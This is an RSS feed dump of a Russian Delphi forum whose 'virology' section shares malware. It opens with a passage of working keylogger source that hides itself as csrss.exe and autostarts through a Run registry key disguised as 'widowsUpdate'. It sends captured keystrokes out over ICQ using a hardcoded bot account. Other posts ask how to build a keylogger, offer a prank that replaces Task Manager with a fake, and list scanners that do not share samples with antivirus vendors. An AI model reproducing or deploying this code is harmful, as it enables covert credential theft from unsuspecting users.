then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;s&apos;; &lt;br /&gt; if getasynckeystate($54&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;t&apos;; &lt;br /&gt; if getasynckeystate($55&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;u&apos;; &lt;br /&gt; if getasynckeystate($56&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;v&apos;; &lt;br /&gt; if getasynckeystate($57&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;w&apos;; &lt;br /&gt; if getasynckeystate($58&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;x&apos;; &lt;br /&gt; if getasynckeystate($59&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;y&apos;; &lt;br /&gt; if getasynckeystate($5a&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;z&apos;; &lt;br /&gt; if getasynckeystate($30&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;0&apos;; &lt;br /&gt; if getasynckeystate($31&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;1&apos;; &lt;br /&gt; if getasynckeystate($32&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;2&apos;; &lt;br /&gt; if getasynckeystate($33&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;3&apos;; &lt;br /&gt; if getasynckeystate($34&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;4&apos;; &lt;br /&gt; if getasynckeystate($35&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;5&apos;; &lt;br /&gt; if getasynckeystate($36&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;6&apos;; &lt;br /&gt; if getasynckeystate($37&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;7&apos;; &lt;br /&gt; if getasynckeystate($38&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;8&apos;; &lt;br /&gt; if getasynckeystate($39&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;9&apos;; &lt;br /&gt; if getasynckeystate($70&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;&amp;#91;f1]&apos;; &lt;br /&gt; if getasynckeystate($71&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;&amp;#91;f2]&apos;; &lt;br /&gt; if getasynckeystate($72&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;&amp;#91;f3]&apos;; &lt;br /&gt; if getasynckeystate($73&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;&amp;#91;f4]&apos;; &lt;br /&gt; if getasynckeystate($74&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;&amp;#91;f5]&apos;; &lt;br /&gt; if getasynckeystate($75&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;&amp;#91;f6]&apos;; &lt;br /&gt; if getasynckeystate($76&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;&amp;#91;f7]&apos;; &lt;br /&gt; if getasynckeystate($77&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;&amp;#91;f8]&apos;; &lt;br /&gt; if getasynckeystate($78&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;&amp;#91;f9]&apos;; &lt;br /&gt; if getasynckeystate($79&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;&amp;#91;f10]&apos;; &lt;br /&gt; if getasynckeystate($7a&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;&amp;#91;f11]&apos;; &lt;br /&gt; if getasynckeystate($7b&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;&amp;#91;f12]&apos;; &lt;br /&gt; if getasynckeystate($61&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;1&apos;; &lt;br /&gt; if getasynckeystate($62&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;2&apos;; &lt;br /&gt; if getasynckeystate($63&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;3&apos;; &lt;br /&gt; if getasynckeystate($64&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;4&apos;; &lt;br /&gt; if getasynckeystate($65&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;5&apos;; &lt;br /&gt; if getasynckeystate($66&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;6&apos;; &lt;br /&gt; if getasynckeystate($67&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;7&apos;; &lt;br /&gt; if getasynckeystate($68&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;8&apos;; &lt;br /&gt; if getasynckeystate($69&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;9&apos;; &lt;br /&gt; if getasynckeystate($6f&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;/&apos;; &lt;br /&gt; if getasynckeystate($6a&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;*&apos;; &lt;br /&gt; if getasynckeystate($6b&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;+&apos;; &lt;br /&gt; if getasynckeystate($6d&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;-&apos;; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; procedure TForm1.FormCreate(Sender: TObject&amp;#41;; &lt;br /&gt; var reg: tregistry; &lt;br /&gt; begin &lt;br /&gt; CopyFile(PChar(ParamStr(0&amp;#41;&amp;#41;, PChar(&apos;c:&amp;#92;csrss.exe&apos;&amp;#41;,True&amp;#41;; &lt;br /&gt; SetFileAttributes(&apos;c:&amp;#92;csrss.exe&apos;, faHidden&amp;#41;; &lt;br /&gt;&lt;br /&gt; ShowWindow(Handle, SW_HIDE&amp;#41;; &lt;br /&gt; ShowWindow(Application.Handle, SW_HIDE&amp;#41;; &lt;br /&gt;&lt;br /&gt; if 2=2 then &lt;br /&gt;&lt;br /&gt; begin &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ICQclient1.UIN:=strtoint(&apos;585629992&apos;&amp;#41;;//Присваем UIN будещего бота &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ICQclient1.Password:=&apos;lK7he5Ia &apos;; //Присваем Пароль будещего бота &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ICQclient1.Login(&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Application.ShowMainForm := false; &lt;br /&gt;&lt;br /&gt; if 1=1 then &lt;br /&gt; begin &lt;br /&gt; reg := tregistry.create; &lt;br /&gt; reg.rootkey := HKEY_CURRENT_USER ; &lt;br /&gt; reg.lazywrite := false; &lt;br /&gt; reg.openkey(&apos;software&amp;#92;microsoft&amp;#92;windows&amp;#92;currentversion&amp;#92;run&apos;, false&amp;#41;; &lt;br /&gt; reg.writestring(&apos;widowsUpdate&apos;, &apos;c:&amp;#92;csrss.exe&apos;&amp;#41;; &lt;br /&gt; reg.closekey; &lt;br /&gt; reg.free; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; end; &lt;br /&gt; end; &lt;br /&gt; procedure TForm1.ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String&amp;#41;; &lt;br /&gt; begin &lt;br /&gt;&lt;br /&gt; If msg= &apos;send&apos; then ICQClient1.SendMessage(StrToInt(UIN&amp;#41;, memo1.Text&amp;#41;; &lt;br /&gt; If msg= &apos;time&apos; then ICQClient1.SendMessage(StrToInt(UIN&amp;#41;, &apos;Не пашет время! :-(&apos;&amp;#41;; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; end. &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; Скачать папку с исходниками также можно ниже... ОСТОРОЖНО ТАМ И ПРОГРАММА ЛЕЖИТ!</content:encoded>
<category>Вирусология Delphi</category>
<dc:creator>link993</dc:creator>
<guid>https://delfcode.ru/forum/10-644-1</guid>
</item>
<item>
<title>keylogger</title>
<link>https://delfcode.ru/forum/10-1402-1</link>
<pubDate>Tue, 29 Mar 2016 01:00:07 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: HTTqp&lt;br /&gt;Автор последнего сообщения: AligatorBkmz&lt;br /&gt;Количество ответов: 2</description>
<content:encoded>Пишу клавиатурный шпион, полностью с нуля ну как полагается, столкнулся с вопросом. Решил задать. Как лучше реализовать запить в файл, сначала реализовал запись через промежуток времени каждые 10 секунд, потом подумал правильно ли, есть еще идея записывать лишь после нажатия ПКМ (правой кнопки мыши). Так сказать чтобы быть увереным что пользователь ввел все что надо. Либо запись после нажатия системных клавиш. Как лучше реализовать. &lt;br /&gt;&lt;br /&gt; И еще вопрос как реализовать удаление букв при нажатии например Back Space (ну тут понятно удаляется последний символ), а например при нажатии Insert или Del? буду благодарен заранее, за ответы.</content:encoded>
<category>Вирусология Delphi</category>
<dc:creator>HTTqp</dc:creator>
<guid>https://delfcode.ru/forum/10-1402-1</guid>
</item>
<item>
<title>Ваши любимые приколы</title>
<link>https://delfcode.ru/forum/10-538-1</link>
<pubDate>Thu, 24 Mar 2016 04:24:01 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Иногда просто охото поприкалываться над юзерами...&lt;br /&gt;Автор темы: Neo&lt;br /&gt;Автор последнего сообщения: AligatorBkmz&lt;br /&gt;Количество ответов: 23</description>
<content:encoded>Наверняка каждый из нас писал что-то вроде программ приколов. Давайте здесь выложим угарные программки, с помощью которых можно будет поржать над юзерами &lt;img src=&quot;http://s5.ucoz.net/sm/23/wink.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;wink&quot; /&gt; Ну,я первый))). &lt;br /&gt; Вот програмка - фейковый диспетчер, при запуске переименовывает taskmgr.exe на taskmgrexe.old и вместо оригинального вставляет &lt;br /&gt; подставной. После этого прога грузит проц на 100,тем самым это вынуждает юзера вызвать диспетчер. &lt;img src=&quot;http://s5.ucoz.net/sm/23/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot; /&gt; &lt;img src=&quot;http://s5.ucoz.net/sm/23/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot; /&gt; &lt;br /&gt;&lt;br /&gt; &lt;div align=&quot;right&quot;&gt;&lt;span style=&quot;color:red&quot;&gt;Вирус индукт в аттаче!&lt;/span&gt;&lt;/div&gt;</content:encoded>
<category>Вирусология Delphi</category>
<dc:creator>Neo</dc:creator>
<guid>https://delfcode.ru/forum/10-538-1</guid>
</item>
<item>
<title>Пошаговое руководство к исполняемым файлам</title>
<link>https://delfcode.ru/forum/10-1467-1</link>
<pubDate>Wed, 16 Mar 2016 16:11:07 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: Anton93&lt;br /&gt;Автор последнего сообщения: Anton93&lt;br /&gt;Количество ответов: 0</description>
<content:encoded>&lt;!--IMG1--&gt;&lt;a href=&quot;https://delfcode.ru/_fr/14/9719556.png&quot; class=&quot;ulightbox&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;https://delfcode.ru/_fr/14/s9719556.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG1--&gt;</content:encoded>
<category>Вирусология Delphi</category>
<dc:creator>Anton93</dc:creator>
<guid>https://delfcode.ru/forum/10-1467-1</guid>
</item>
<item>
<title>Авторизация в админке</title>
<link>https://delfcode.ru/forum/9-1466-1</link>
<pubDate>Wed, 10 Feb 2016 19:01:00 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: нужна помощь!&lt;br /&gt;Автор темы: xXxSh@dowxXx&lt;br /&gt;Автор последнего сообщения: xXxSh@dowxXx&lt;br /&gt;Количество ответов: 2</description>
<content:encoded>Приветствую всех, давно не виделись :)&lt;br /&gt;&lt;br /&gt;Поставил я недавно перед собой задачку программным образом подключиться к админке роутера, для начала решил сделать это простыми методами, первое что пришло в голову:&lt;br /&gt;- Telnet&lt;br /&gt;- IdHTTP1 (стандартный компонент)&lt;br /&gt;- WebBrowser1 (стандартный компонент)&lt;br /&gt;&lt;br /&gt;Вариант с использованием Telnet я отбросил сразу так как он слишком топорный, следующее по списку было использовать &quot;IdHTTP1&quot; для коннекта к админке через:&lt;br /&gt;&lt;br /&gt;&lt;!--uSpoiler--&gt;&lt;div class=&quot;uSpoilerClosed&quot; id=&quot;uSpoiler6Xp5dM&quot;&gt;&lt;div class=&quot;uSpoilerButBl&quot;&gt;&lt;input type=&quot;button&quot; class=&quot;uSpoilerButton&quot; onclick=&quot;if($(&apos;#uSpoiler6Xp5dM&apos;)[0]){if ($(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler6Xp5dM&apos;))[0].style.display==&apos;none&apos;){$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler6Xp5dM&apos;))[0].style.display=&apos;&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoiler6Xp5dM&apos;)).val(&apos;Закрыть спойлер&apos;);$(&apos;#uSpoiler6Xp5dM&apos;).attr(&apos;class&apos;,&apos;uSpoilerOpened&apos;);}else {$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler6Xp5dM&apos;))[0].style.display=&apos;none&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoiler6Xp5dM&apos;)).val(&apos;Открыть спойлер&apos;);$(&apos;#uSpoiler6Xp5dM&apos;).attr(&apos;class&apos;,&apos;uSpoilerClosed&apos;);}}&quot; value=&quot;Открыть спойлер&quot;/&gt;&lt;/div&gt;&lt;div class=&quot;uSpoilerText&quot; style=&quot;display:none;&quot;&gt;&lt;!--ust--&gt;&lt;br /&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HTTP.Request.Username:=&apos;admin&apos;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HTTP.Request.Password:=&apos;12345&apos;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HTTP.Get(&apos;http&amp;#58;//192.168.1.1:80/&apos;&amp;#41;;&lt;br /&gt;&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;br /&gt;&lt;!--/ust--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uSpoiler--&gt;&lt;br /&gt;&lt;br /&gt;но при анализе трафика снифером, оказалось что роутер в ответ постоянно возвращает&lt;br /&gt;&lt;!--uSpoiler--&gt;&lt;div class=&quot;uSpoilerClosed&quot; id=&quot;uSpoiler0p1f5p&quot;&gt;&lt;div class=&quot;uSpoilerButBl&quot;&gt;&lt;input type=&quot;button&quot; class=&quot;uSpoilerButton&quot; onclick=&quot;if($(&apos;#uSpoiler0p1f5p&apos;)[0]){if ($(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler0p1f5p&apos;))[0].style.display==&apos;none&apos;){$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler0p1f5p&apos;))[0].style.display=&apos;&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoiler0p1f5p&apos;)).val(&apos;Закрыть спойлер&apos;);$(&apos;#uSpoiler0p1f5p&apos;).attr(&apos;class&apos;,&apos;uSpoilerOpened&apos;);}else {$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler0p1f5p&apos;))[0].style.display=&apos;none&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoiler0p1f5p&apos;)).val(&apos;Открыть спойлер&apos;);$(&apos;#uSpoiler0p1f5p&apos;).attr(&apos;class&apos;,&apos;uSpoilerClosed&apos;);}}&quot; value=&quot;Открыть спойлер&quot;/&gt;&lt;/div&gt;&lt;div class=&quot;uSpoilerText&quot; style=&quot;display:none;&quot;&gt;&lt;!--ust--&gt;&lt;br /&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;&lt;br /&gt;HTTP/1.0 401 Unauthorized.&lt;br /&gt;&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;br /&gt;&lt;!--/ust--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uSpoiler--&gt;&lt;br /&gt;&lt;br /&gt;и тут я вспомнил про стандартные скрипты управления роутером и команду авторизации:&lt;br /&gt;&lt;!--uSpoiler--&gt;&lt;div class=&quot;uSpoilerClosed&quot; id=&quot;uSpoiler6lN4D3&quot;&gt;&lt;div class=&quot;uSpoilerButBl&quot;&gt;&lt;input type=&quot;button&quot; class=&quot;uSpoilerButton&quot; onclick=&quot;if($(&apos;#uSpoiler6lN4D3&apos;)[0]){if ($(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler6lN4D3&apos;))[0].style.display==&apos;none&apos;){$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler6lN4D3&apos;))[0].style.display=&apos;&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoiler6lN4D3&apos;)).val(&apos;Закрыть спойлер&apos;);$(&apos;#uSpoiler6lN4D3&apos;).attr(&apos;class&apos;,&apos;uSpoilerOpened&apos;);}else {$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler6lN4D3&apos;))[0].style.display=&apos;none&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoiler6lN4D3&apos;)).val(&apos;Открыть спойлер&apos;);$(&apos;#uSpoiler6lN4D3&apos;).attr(&apos;class&apos;,&apos;uSpoilerClosed&apos;);}}&quot; value=&quot;Открыть спойлер&quot;/&gt;&lt;/div&gt;&lt;div class=&quot;uSpoilerText&quot; style=&quot;display:none;&quot;&gt;&lt;!--ust--&gt;&lt;br /&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;&lt;br /&gt;http&amp;#58;//admin:parol@192.168.1.1/&lt;br /&gt;&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;br /&gt;&lt;!--/ust--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uSpoiler--&gt;&lt;br /&gt;&lt;br /&gt;для простоты эксперимента я воспользовался стандартным компонентом &quot;WebBrowser1&quot;, и впринципе все заработало как нужно, но тут есть один недостаток, дело в том что когда пароль не правильный, или если в нем ошибка, то выскакивает стандартное Windows&apos;кое окно авторизации где нужно вручную ввести логин и пароль, из за этого окна вся дальнейшая работа программы останавливается!&lt;br /&gt;&lt;br /&gt;&lt;!--IMG1--&gt;&lt;a href=&quot;https://delfcode.ru/_fr/14/2452308.jpg&quot; class=&quot;ulightbox&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;https://delfcode.ru/_fr/14/s2452308.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG1--&gt;&lt;br /&gt;&lt;br /&gt;В интернете искал информацию о том как запретить вывод данного диалогового окна, или как автоматически ответить программе отменой на данное окно, но ничего так и не нашел, может быть кто то сможет подсказать как решить данную проблему?&lt;br /&gt;&lt;br /&gt;PS: прикрепил исходники, может пригодится еще кому.</content:encoded>
<category>Программы на Delphi</category>
<dc:creator>xXxSh@dowxXx</dc:creator>
<guid>https://delfcode.ru/forum/9-1466-1</guid>
</item>
<item>
<title>Сканеры без отправки файла разработчикам АВ</title>
<link>https://delfcode.ru/forum/10-1138-1</link>
<pubDate>Sat, 06 Feb 2016 14:56:46 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: Anton93&lt;br /&gt;Автор последнего сообщения: Anton93&lt;br /&gt;Количество ответов: 18</description>
<content:encoded>&lt;!--BBhide--&gt;[NBe48iuY3W 100]&lt;span style=&quot;font-size:14pt;&quot;&gt;Список безопасных рабочих сканнеров&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;!--IMG1--&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;https://delfcode.ru/_fr/11/3306688.png&quot; align=&quot;&quot; /&gt;&lt;!--IMG1--&gt; &lt;a class=&quot;link&quot; href=&quot;http://u.to/gLNRBQ&quot; title=&quot;http://nodistribute.com&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;color:#00FF00&quot;&gt;NoDistribute&lt;/span&gt;&lt;/a&gt; (бесплатно - 10 проверок в день, платно - без ограничений)&lt;br /&gt;&lt;!--IMG1--&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;https://delfcode.ru/_fr/11/3306688.png&quot; align=&quot;&quot; /&gt;&lt;!--IMG1--&gt; &lt;a class=&quot;link&quot; href=&quot;http://u.to/B7phBw&quot; title=&quot;http://avdetect.com&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;color:#00FF00&quot;&gt;AVDetect&lt;/span&gt;&lt;/a&gt; (платно)&lt;br /&gt;&lt;br /&gt;Сканнеры с репутацией и проверенные временем. От себя добавлю: пользовался - сливов не заметил[/NBe48iuY3W]&lt;!--/BBhide--&gt;</content:encoded>
<category>Вирусология Delphi</category>
<dc:creator>Anton93</dc:creator>
<guid>https://delfcode.ru/forum/10-1138-1</guid>
</item>
<item>
<title>Свернуть все окна</title>
<link>https://delfcode.ru/forum/22-1464-1</link>
<pubDate>Thu, 28 Jan 2016 16:42:25 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: ThundeRLorD&lt;br /&gt;Автор последнего сообщения: ThundeRLorD&lt;br /&gt;Количество ответов: 0</description>
<content:encoded>Сворачивает все окна кроме нашей программы&lt;br /&gt;&lt;br /&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;function EnumMiniProc(Wnd : HWND; Param : Longint&amp;#41; : Boolean; stdcall;&lt;br /&gt;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;Result := True;&lt;br /&gt;&amp;nbsp;&amp;nbsp;if (Wnd = Param&amp;#41; or (Wnd = Application.Handle&amp;#41; then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Exit&lt;br /&gt;&amp;nbsp;&amp;nbsp;else if isWindowVisible(Wnd&amp;#41; and not isIconic(Wnd&amp;#41; and isWindow(Wnd&amp;#41; then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ShowWindow(Wnd, SW_MINIMIZE&amp;#41;;&lt;br /&gt;end;&lt;br /&gt;&lt;br /&gt;procedure TForm1.Button1Click(Sender: TObject&amp;#41;;&lt;br /&gt;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;EnumWindows(@EnumMiniProc, Handle&amp;#41;;&lt;br /&gt;end;&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;</content:encoded>
<category>Процедуры и функции Delphi</category>
<dc:creator>ThundeRLorD</dc:creator>
<guid>https://delfcode.ru/forum/22-1464-1</guid>
</item>
<item>
<title>Отлов ответа из cmd</title>
<link>https://delfcode.ru/forum/29-1462-1</link>
<pubDate>Mon, 25 Jan 2016 12:19:51 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Нагуглил функцию, но явно косяк с кодировкой&lt;br /&gt;Автор темы: tatsu&lt;br /&gt;Автор последнего сообщения: Neo&lt;br /&gt;Количество ответов: 3</description>
<content:encoded>Всем доброго времени суток. Собственно задача: Выполнять досовую команду, но ответ писать не в консоль приложения, а в переменную. Нагуглил функцию. Работает. Однако есть 1 нюанс. Функция возвращает байты точь в точь, поскольку использует именованный канал. Кирилическая винда в командную строку выплёвывает как правило ответ в кодировке 866. Однако на деле имеем вместо текста кучу знаков вопросов и всё. Для отладки выплюнул ответ в файл. Вооружлся notepad++ и hex-редактором. Сравнил байты, оказалось - инглишный текст соответствует ASCII, а вот там где должный быть кирилические символы - байты не известной кодировки. Подскажите, как привести это в читабельный вид. Функция:&lt;br /&gt;&lt;!--uzcode--&gt;&lt;div 